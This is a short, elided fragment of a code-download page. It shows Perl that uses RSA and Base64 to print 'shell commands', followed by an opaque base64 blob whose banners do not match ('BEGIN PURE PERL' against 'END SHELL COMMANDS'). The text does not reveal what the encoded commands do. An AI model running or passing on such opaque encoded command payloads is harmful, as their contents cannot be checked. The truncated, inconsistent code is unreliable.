Select Code to Download

use Crypt::OpenSSL::RSA;
use MIME::Base64;
...
print "=" x 20,"BEGIN SHELL COMMANDS","=" x 20,"\n";
print $shell_cmds;
print "=" x 20,"END SHELL COMMANDS","=" x 20,"\n";

====================BEGIN PURE PERL====================
Ox4nMjzgrFKSV2GpSH6z80Mbk8zS2gTy0rvN6AyBYM/o9Bw+BbwEa5HuD8v7xlWUkGghE1
+8MT8A4
...
DC9VdpiQJ+tG6L7Ncn8WN0hOY5yIiDpjsXecwNkbkSOoR0pzPe+Z00rsaFMMzFcY
TYgeoemNE2uBmFjlmDgF+g==
====================END SHELL COMMANDS====================